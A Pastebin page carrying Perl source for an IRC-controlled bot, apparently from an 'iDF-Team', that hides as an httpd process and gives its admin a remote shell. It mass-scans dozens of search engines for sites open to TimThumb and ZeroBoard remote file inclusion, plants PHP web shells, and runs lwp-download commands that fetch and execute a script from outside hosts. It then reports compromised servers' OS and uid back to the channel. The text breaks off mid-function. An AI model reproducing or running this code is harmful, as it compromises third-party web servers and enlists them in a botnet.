Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use HTTP::Request;
- use HTTP::Request::Common;
- use HTTP::Request::Common qw(POST);
- use LWP::Simple;
- use LWP 5.64;
- use LWP::UserAgent;
- use Socket;
- use IO::Socket;
- use IO::Socket::INET;
- use IO::Select;
- use MIME::Base64;
- my $datetime = localtime;
- my $fakeproc = "/usr/sbin/httpd";
- my $ircserver = "irc.byroe.net";
- my $ircport = "6667";
- my $nickname = "[iDF]";
- my $ident = "iDF";
- my $channel = "#non";
- my $admin = "Egypt-Hacker";
- my $fullname = "(8i3D7F5-6T2e11am12.)";
- my $thumblogo = "4,1(8@9TimThumb4)";
- my $zerologo = "4,1(8@9ZeroBoard4)";
- my $thumbcmd = '.timthumb';
- my $zerocmd = '.zero';
- my $thumbshell = "http://blogger.com.crappyfiles.com/image.php";
- my $folder1 = "/cache/4f8c5ba89e4fcd425410bda1c707852c.php";
- my $folder2 = "/cache/external_4f8c5ba89e4fcd425410bda1c707852c.php";
- my $folder3 = "/temp/4f8c5ba89e4fcd425410bda1c707852c.php";
- my $folder4 = "/temp/external_4f8c5ba89e4fcd425410bda1c707852c.php";
- my $folder5 = "/wp-content/uploads/thumb-temp/4f8c5ba89e4fcd425410bda1c707852c.php";
- my $botid = "http://flickr.com.bpmohio.com/spread.php";
- my $botrun1 = "/cache/18d105776283fe8d2ab6beb89a37e45e.php";
- my $botrun2 = "/cache/external_18d105776283fe8d2ab6beb89a37e45e.php";
- my $botrun3 = "/temp/18d105776283fe8d2ab6beb89a37e45e.php";
- my $botrun4 = "/temp/external_18d105776283fe8d2ab6beb89a37e45e.php";
- my $botrun5 = "/wp-content/uploads/thumb-temp/18d105776283fe8d2ab6beb89a37e45e.php";
- my $action = "/data/shell.php?cmd=lwp-download%20http://blogger.com.ossha.co.il/image.php;lwp-download%20http://flickr.com.guxer.300il.com/l.txt;perl%
- 20l.txt";
- my $action2 = "?cmd=lwp-download%20http://blogger.com.crappyfiles.com/image.php;lwp-download%20-a%20http://guxer.300il.com/l.txt;perl%20l.txt;rm%20l.txt";
- my @bypasser = ("http://www.alexoloughlin.es/google.php",
- "http://estanciadevalencia.com/sn/google.php",
- "http://www.hotelprince.com/google.php");
- my $bypass = $bypasser[rand(scalar(@bypasser))];
- my @uagents = ('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12',
- 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl-PL; rv:1.8.1.24pre) Gecko/20100228 K-Meleon/1.5.4',
- 'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.9.0.16) Gecko/2009122206 Firefox/3.0.16 Flock/2.5.6',
- 'Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1.8pre) Gecko/20070928 Firefox/2.0.0.7 Navigator/9.0RC1');
- my $uagent = $uagents[rand(scalar(@uagents))];
- $SIG{'INT'} = 'IGNORE';
- $SIG{'HUP'} = 'IGNORE';
- $SIG{'TERM'} = 'IGNORE';
- $SIG{'CHLD'} = 'IGNORE';
- $SIG{'PS'} = 'IGNORE';
- $ircserver = "$ARGV[0]" if $ARGV[0];
- $0 = "$fakeproc"."\0" x 16;
- my $pid = fork;
- exit if $pid;
- die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
- our %irc_servers;
- our %DCC;
- my $dcc_sel = new IO::Select->new();
- $sel_client = IO::Select->new();
- sub sendraw {
- if ($#_ == '1') {
- my $socket = $_[0];
- print $socket "$_[1]\n";
- } else {
- print $IRC_cur_socket "$_[0]\n";
- }
- }
- sub connector {
- my $mynick = $_[0];
- my $ircserver_con = $_[1];
- my $ircport_con = $_[2];
- my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
- if (defined($IRC_socket)) {
- $IRC_cur_socket = $IRC_socket;
- $IRC_socket->autoflush(1);
- $sel_client->add($IRC_socket);
- $irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
- $irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
- nick("$mynick");
- my $versi = "0,1(8i3D7F5-6T2e11am12.)";
- sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$versi");
- sleep (1);}}
- sub parse {
- my $servarg = shift;
- if ($servarg =~ /^PING \:(.*)/) {
- sendraw("PONG :$1");
- }
- elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
- if (lc($1) eq lc($mynick)) {
- $mynick = $4;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- }
- }
- elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
- nick("$mynick".int rand(1));
- }
- elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
- $mynick = $2;
- $irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
- $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
- sendraw("MODE $mynick +Bxp");
- sendraw("JOIN $channel");
- sleep(2);
- sendraw("PRIVMSG $admin :Hi $admin im here !!!");
- }
- }
- my $line_temp;
- while( 1 ) {
- while (!(keys(%irc_servers))) { &connector("$nickname", "$ircserver", "$ircport"); }
- select(undef, undef, undef, 0.01);
- delete($irc_servers{''}) if (defined($irc_servers{''}));
- my @ready = $sel_client->can_read(0);
- next unless(@ready);
- foreach $fh (@ready) {
- $IRC_cur_socket = $fh;
- $mynick = $irc_servers{$IRC_cur_socket}{'nick'};
- $nread = sysread($fh, $ircmsg, 4096);
- if ($nread == 0) {
- $sel_client->remove($fh);
- $fh->close;
- delete($irc_servers{$fh});
- }
- @lines = split (/\n/, $ircmsg);
- $ircmsg =~ s/\r\n$//;
- if ($ircmsg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
- my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5);
- my $engine ="GooGLe,ReDiff,Bing,ALtaViSTa,AsK,UoL,CluSty,GutSer,GooGle2,ByPass,YahOo,BigLobe";
- if ($path eq $mynick) {
- if ($msg =~ /^PING (.*)/) {
- sendraw("NOTICE $nick :PING $1");
- }
- if ($msg =~ /^VERSION/) {
- sendraw("NOTICE $nick :VERSION mIRC v6.17 Khaled Mardam-Bey");
- }
- if ($msg =~ /^TIME/) {
- sendraw("NOTICE $nick :TIME ".$datetime."");
- }
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!nick (.+)/) {
- sendraw("NICK ".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- sendraw($IRC_cur_socket, "PRIVMSG $nick :0,1Fake Process/PID : $fakeproc - $$");
- }
- if (&isAdmin($nick) && $msg !~ /^!/) {
- &shell("$nick","$msg");
- }
- }
- else {
- if (&isAdmin($nick) && $msg eq "!die") {
- &shell("$path","kill -9 $$");
- }
- if (&isAdmin($nick) && $msg eq "!killall") {
- &shell("$path","killall -9 perl");
- }
- if (&isAdmin($nick) && $msg eq "!reset") {
- sendraw("QUIT :Restarting...");
- }
- if (&isAdmin($nick) && $msg =~ /^!join \#(.+)/) {
- sendraw("JOIN #".$1);
- }
- if (&isAdmin($nick) && $msg eq "!part") {
- sendraw("PART $path");
- }
- if (&isAdmin($nick) && $msg =~ /^!part \#(.+)/) {
- sendraw("PART #".$1);
- }
- if (&isAdmin($nick) && $msg =~ /^\.sh (.*)/) {
- &shell("$path","$1");
- }
- if (&isAdmin($nick) && $msg =~ /^$mynick (.*)/) {
- &shell("$path","$1");
- }
- ##################################################################### HELP COMMAND
- if ($msg=~ /^!help/) {
- my $helplogo = "4(8@9Help4)";
- &msg("$path","4$helplogo 8 ###################################################");
- &msg("$path","4$helplogo 8 #9 $thumbcmd [bug] [dork] 9#");
- &msg("$path","4$helplogo 8 #9 $zerocmd [bug] [dork] 9#");
- &msg("$path","4$helplogo 8 ###################################################");
- }
- if ($msg=~ /^!engine/) {
- my $enginelogo = "4(8@9Engine4)";
- &msg("$path","4$enginelogo 8 $engine ");
- }
- if ($msg=~ /^!about/) {
- my $aboutlogo = "15(4@4iDF-Team15)";
- &msg("$path","0,1$aboutlogo 14 TIMTHUMB / ZEROBOARD SCANNER");
- }
- if ($msg=~ /^!respon/ || $msg=~ /^!id/) {
- if (&isFound($thumbshell,"GIF89a")) {
- &msg("$path","0,1(8Injector15)6 PHP Shell 9READY!!!");
- } else {
- &msg("$path","0,1(8Injector15)6 PHP Shell 4LOST!!!");
- }
- }
- if (&isAdmin($nick) && $msg =~ /^!pid/) {
- ¬ice("$nick","0,1Fake Process/PID : 8$fakeproc - $$");
- }
- ##################################################################### RFI SCAN
- if ($msg=~ /^$thumbcmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","0,1$thumblogo 12Dork :4 $dork");
- &msg("$path","0,1$thumblogo 12Bugz :4 $bug");
- &msg("$path","0,1$thumblogo 6Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,2);
- }
- exit;
- }
- }
- if ($msg=~ /^$zerocmd\s+(.+?)\s+(.*)/) {
- if (my $pid = fork) {
- waitpid($pid, 0);
- }
- else {
- if (fork) { exit; } else {
- my ($bug,$dork) = ($1,$2);
- &msg("$path","0,1$zerologo 12Dork :4 $dork");
- &msg("$path","0,1$zerologo 12Bugz :4 $bug");
- &msg("$path","0,1$zerologo 6Search Engine Loading ...");
- &scan_start($path,$bug,$dork,$engine,1);
- }
- exit;
- }
- }
- #####################################################################
- }
- }
- for(my $c=0; $c<= $#lines; $c++) {
- $line = $lines[$c];
- $line = $line_temp.$line if ($line_temp);
- $line_temp = '';
- $line =~ s/\r$//;
- unless ($c == $#lines) {
- &parse("$line");
- } else {
- if ($#lines == 0) {
- &parse("$line");
- } elsif ($lines[$c] =~ /\r$/) {
- &parse("$line");
- } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
- &parse("$line");
- } else {
- $line_temp = $line;
- }
- }
- }
- }
- }
- #########################################
- sub type () {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($type == 2){$type=&thumb($chan,$bug,$dork,$engine);}
- elsif ($type == 1){$type=&zero($chan,$bug,$dork,$engine);}
- }
- sub scan_start() {
- my ($chan,$bug,$dork,$engine,$type) = @_;
- if ($engine =~ /google/i) {
- if (my $pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGLe",$type);
- } exit; }
- }
- if ($engine =~ /google2/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GooGle2",$type);
- } exit; }
- }
- if ($engine =~ /bing/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"Bing",$type);
- } exit; }
- }
- if ($engine =~ /altavista/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ALtaViSTa",$type);
- } exit; }
- }
- if ($engine =~ /ask/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AsK",$type);
- } exit; }
- }
- if ($engine =~ /uol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"UoL",$type);
- } exit; }
- }
- if ($engine =~ /yahoo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YahOo",$type);
- } exit; }
- }
- if ($engine =~ /clusty/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"CluSty",$type);
- } exit; }
- }
- if ($engine =~ /gutser/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GutSer",$type);
- } exit; }
- }
- if ($engine =~ /rediff/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ReDiff",$type);
- } exit; }
- }
- if ($engine =~ /virgilio/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"VirgiLio",$type);
- } exit; }
- }
- if ($engine =~ /webde/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WebDe",$type);
- } exit; }
- }
- if ($engine =~ /exalead/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ExaLead",$type);
- } exit; }
- }
- if ($engine =~ /lycos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyCos",$type);
- } exit; }
- }
- if ($engine =~ /hotbot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"HotBot",$type);
- } exit; }
- }
- if ($engine =~ /aol/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"AoL",$type);
- } exit; }
- }
- if ($engine =~ /sapo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SaPo",$type);
- } exit; }
- }
- if ($engine =~ /duck/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DuCk",$type);
- } exit; }
- }
- if ($engine =~ /lygo/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"LyGo",$type);
- } exit; }
- }
- if ($engine =~ /yause/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"YauSe",$type);
- } exit; }
- }
- if ($engine =~ /baidu/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BaiDu",$type);
- } exit; }
- }
- if ($engine =~ /kipot/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"KiPoT",$type);
- } exit; }
- }
- if ($engine =~ /gibla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"GiBLa",$type);
- } exit; }
- }
- if ($engine =~ /black/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"BLacK",$type);
- } exit; }
- }
- if ($engine =~ /onet/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"oNeT",$type);
- } exit; }
- }
- if ($engine =~ /sizuka/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SiZuka",$type);
- } exit; }
- }
- if ($engine =~ /walla/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"WaLLa",$type);
- } exit; }
- }
- if ($engine =~ /demos/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"DeMos",$type);
- } exit; }
- }
- if ($engine =~ /rose/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"RoSe",$type);
- } exit; }
- }
- if ($engine =~ /seznam/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"SeZnaM",$type);
- } exit; }
- }
- if ($engine =~ /tiscali/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"TisCali",$type);
- } exit; }
- }
- if ($engine =~ /naver/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"NaVeR",$type);
- } exit; }
- }
- if ($engine =~ /bypass/i) {
- if ($pid = fork) { waitpid($pid, 0); }
- else { if (fork) { exit; } else {
- &type($chan,$bug,$dork,"ByPass",$type);
- } exit; }
- }
- }
- #########################################
- sub thumb() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$thumblogo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$thumblogo4,1(4,1@8,1$engine4,1)2,1 Scan finish"); }
- my $vuln = "http://".$site.$bug."?src=".$thumbshell;
- my $cek = &get_content($vuln);sleep(1);
- if ($cek =~ /Unable to open image/i) {
- &msg("$chan","$thumblogo(@8,1$engine4,1)8,1e3,1x7,1p5,1l6,1o2,1i11,1t4,1i0,1n12,1g8,1 http://$site");
- if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
- &thumb_xpl($vuln,$chan,$site,$bug,$engine);
- exit;}
- }
- }
- }
- }
- }
- sub thumb_xpl() {
- my $url = $_[0];
- my $chan = $_[1];
- my $site = $_[2];
- my $bug = $_[3];
- my $engine = $_[4];
- (my $bery = $bug)=~ s{/[^/]+\z}{};
- my $vuln2 = "http://".$site.$bery.$folder1;
- my $vuln3 = "http://".$site.$bery.$folder2;
- my $vuln4 = "http://".$site.$bery.$folder3;
- my $vuln5 = "http://".$site.$bery.$folder4;
- my $vuln6 = "http://".$site.$folder5;
- my $check1 = &get_content($vuln2);sleep(1);
- my $check2 = &get_content($vuln3);sleep(1);
- my $check3 = &get_content($vuln4);sleep(1);
- my $check4 = &get_content($vuln5);sleep(1);
- my $check5 = &get_content($vuln6);sleep(1);
- my $os = "";
- my $free = "";
- my $uid = "";
- if ($check1 =~ /linkirc - jambihackerlink/i) {
- if ($check1 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check1 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check1 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- if ($check2 =~ /linkirc - jambihackerlink/i) {
- if ($check2 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check2 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check2 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln3."3,1 (OS=$os) (total=$free) (uid=$uid");
- &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- if ($check3 =~ /linkirc - jambihackerlink/i) {
- if ($check3 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check3 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check3 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln4."3,1 (OS=$os) (total=$free) (uid=$uid");
- &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- if ($check4 =~ /linkirc - jambihackerlink/i) {
- if ($check4 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check4 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check4 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln5."3,1 (OS=$os) (total=$free) (uid=$uid");
- &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- if ($check5 =~ /linkirc - jambihackerlink/i) {
- if ($check5 =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check5 =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check5 =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln6."3,1 (OS=$os) (total=$free) (uid=$uid");
- &msg("$admin","$thumblogo4,1(11,1@8,1$engine4,1)4,1(8,1@9,1shell4,1)11,1 ".$vuln2."3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- }
- sub zero() {
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $count = 0;
- my @list = &search_engine($chan,$bug,$dork,$engine,$zerologo);
- my $num = scalar(@list);
- if ($num > 0) {
- foreach my $site (@list) {
- $count++;
- if ($count == $num-1) { &msg("$chan","$zerologo(4,1@8,1$engine15,1)10 Scan finish"); }
- my $coba = "http://".$site.$bug."?id=byroe";
- my $cek = &get_content($coba);sleep(1);
- if ($cek =~ /Zeroboard/) {
- my $cok = system("./zero $coba 80");
- my $check2 = &get_content("http://".$site.$action);
- if ($check2 =~ /Cannot execute a blank command/) {
- my $vuln = &get_content("http://".$site.$action.$action2);
- my $vuln1 = "http://".$site."/data/byroe_cpf.php";
- my $check = &get_content($vuln1);
- if ($check =~ /linkirc - jambihackerlink/i) {
- if ($check =~ m/color=red><b> (.*?)<br>/) {$os = $1;}
- if ($check =~ m/Total space: <b>(.*?)<\/b><br>/) {$free = $1;}
- if ($check =~ m/uid=(.*?)gid=/) {$uid = $1;}
- &msg("$chan","$zerologo(4,1@8,1$engine15,1)15,1(4,1@3,1shell15,1)13,1 ".$vuln1." 3,1 (OS=$os) (total=$free) (uid=$uid");
- }
- }
- }
- }
- }
- }
- #########################################
- sub search_engine() {
- my (@total,@clean);
- my $chan = $_[0];
- my $bug = $_[1];
- my $dork = $_[2];
- my $engine = $_[3];
- my $logo = $_[4];
- if ($engine eq "GooGLe") { my @google = &google($dork); push(@total,@google); }
- if ($engine eq "ReDiff") { my @rediff = &rediff($dork); push(@total,@rediff); }
- if ($engine eq "Bing") { my @bing = &bing($dork); push(@total,@bing); }
- if ($engine eq "ALtaViSTa") { my @altavista = &altavista($dork); push(@total,@altavista); }
- if ($engine eq "YahOo") { my @yahoo = &yahoo($dork); push(@total,@yahoo); }
- if ($engine eq "AsK") { my @ask = &ask($dork); push(@total,@ask); }
- if ($engine eq "UoL") { my @uol = &uol($dork); push(@total,@uol); }
- if ($engine eq "CluSty") { my @clusty = &clusty($dork); push(@total,@clusty); }
- if ($engine eq "GutSer") { my @gutser = &gutser($dork); push(@total,@gutser); }
- if ($engine eq "GooGle2") { my @google2 = &google2($dork); push(@total,@google2); }
- if ($engine eq "ExaLead") { my @exalead = &exalead($dork); push(@total,@exalead); }
- if ($engine eq "LyCos") { my @lycos = &lycos($dork); push(@total,@lycos); }
- if ($engine eq "VirgiLio") { my @virgilio = &virgilio($dork); push(@total,@virgilio); }
- if ($engine eq "WebDe") { my @webde = &webde($dork); push(@total,@webde); }
- if ($engine eq "HotBot") { my @hotbot = &hotbot($dork); push(@total,@hotbot); }
- if ($engine eq "AoL") { my @aol = &aol($dork); push(@total,@aol); }
- if ($engine eq "SaPo") { my @sapo = &sapo($dork); push(@total,@sapo); }
- if ($engine eq "DuCk") { my @duck = &duck($dork); push(@total,@duck); }
- if ($engine eq "LyGo") { my @lygo = &lygo($dork); push(@total,@lygo); }
- if ($engine eq "YauSe") { my @yause = &yause($dork); push(@total,@yause); }
- if ($engine eq "BaiDu") { my @baidu = &baidu($dork); push(@total,@baidu); }
- if ($engine eq "KiPoT") { my @kipot = &kipot($dork); push(@total,@kipot); }
- if ($engine eq "GiBLa") { my @gibla = &gibla($dork); push(@total,@gibla); }
- if ($engine eq "BLacK") { my @black = &black($dork); push(@total,@black); }
- if ($engine eq "oNeT") { my @onet = &onet($dork); push(@total,@onet); }
- if ($engine eq "SiZuka") { my @sizuka = &sizuka($dork); push(@total,@sizuka); }
- if ($engine eq "WaLLa") { my @walla = &walla($dork); push(@total,@walla); }
- if ($engine eq "DeMos") { my @demos = &demos($dork); push(@total,@demos); }
- if ($engine eq "RoSe") { my @rose = &rose($dork); push(@total,@rose); }
- if ($engine eq "SeZnaM") { my @seznam = &seznam($dork); push(@total,@seznam); }
- if ($engine eq "TisCali") { my @tiscali = &tiscali($dork); push(@total,@tiscali); }
- if ($engine eq "NaVeR") { my @naver = &naver($dork); push(@total,@naver); }
- if ($engine eq "ByPass") { my @bypass = &bypass($dork); push(@total,@bypass); }
- @clean = &clean(@total);
- &msg("$chan","0,1$logo(4@8$engine15)12 Total:4 (".scalar(@total).")12 Clean:4 (".scalar(@clean).")");
- return @clean;
- }
- #########################################
- sub isFound() {
- my $status = 0;
- my $link = $_[0];
- my $reqexp = $_[1];
- my $res = &get_content($link);
- if ($res =~ /$reqexp/) { $status = 1 }
- return $status;
- }
- sub get_content() {
- my $url = $_[0];
- my $ua = LWP::UserAgent->new(agent => $uagent);
- $ua->timeout(7);
- my $req = HTTP::Request->new(GET => $url);
- my $res = $ua->request($req);
- return $res->content;
- }
- ######################################### SEARCH ENGINE gibla
- sub google() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=400; $i+=10){
- my $search = ("http://www.google.com/search?q=".&key($key)."&num=100&filter=0&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /google/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub rediff() {
- my @list;
- my $key = $_[0];
- for (my $i=0; $i<=500; $i+=10) {
- my $search = ("http://search1.rediff.com/dirsrch/default.asp?MT=".&key($key)."&iss=&submit=Search&firstres=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/(.*?)\" onmousedown/g) {
- if ($1 !~ /rediff\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub uol() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://mundo.busca.uol.com.br/buscar.html?q=".&key($key)."&start=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
- if ($1 !~ /uol\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub bing() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10) {
- my $search = ("http://www.bing.com/search?q=".&key($key)."&filt=all&first=".$i."&FORM=PERE");
- my $res = &search_engine_query($search);
- while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
- if ($1 !~ /bing\.com/) {
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub altavista() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=500; $i+=10){
- my $search = ("http://it.altavista.com/web/results?itag=ody&kgs=0&kls=0&dis=1&q=".&key($key)."&stq=".$i);
- my $res = &search_engine_query($search);
- while ($res =~ m/<span class=ngrn>(.+?)\//g) {
- if ($1 !~ /altavista/){
- my $link = $1;
- $link =~ s/<//g;
- $link =~ s/ //g;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub ask() {
- my @list;
- my $key = $_[0];
- for (my $i=1; $i<=50; $i+=1) {
- my $search = ("http://it.ask.com/web?q=".&key($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all");
- my $res = &search_engine_query($search);
- while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) {
- if ($1 !~ /ask\.com/){
- my $link = $1;
- my @grep = &links($link);
- push(@list,@grep);
- }
- }
- }
- return @list;
- }
- sub yahoo(){
- my @list;
- my $key = $_[0];
- my $b = 0;
- for ($b=1; $b<=500; $b+=10) {
- my $search = ("http://search.yahoo.com/search?p=".&key($key)."&b=".$b);
- my $res = &search_engine_query($search);
- while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
- if ($1 !~ /yahoo\.com/){
- my $link = $1;
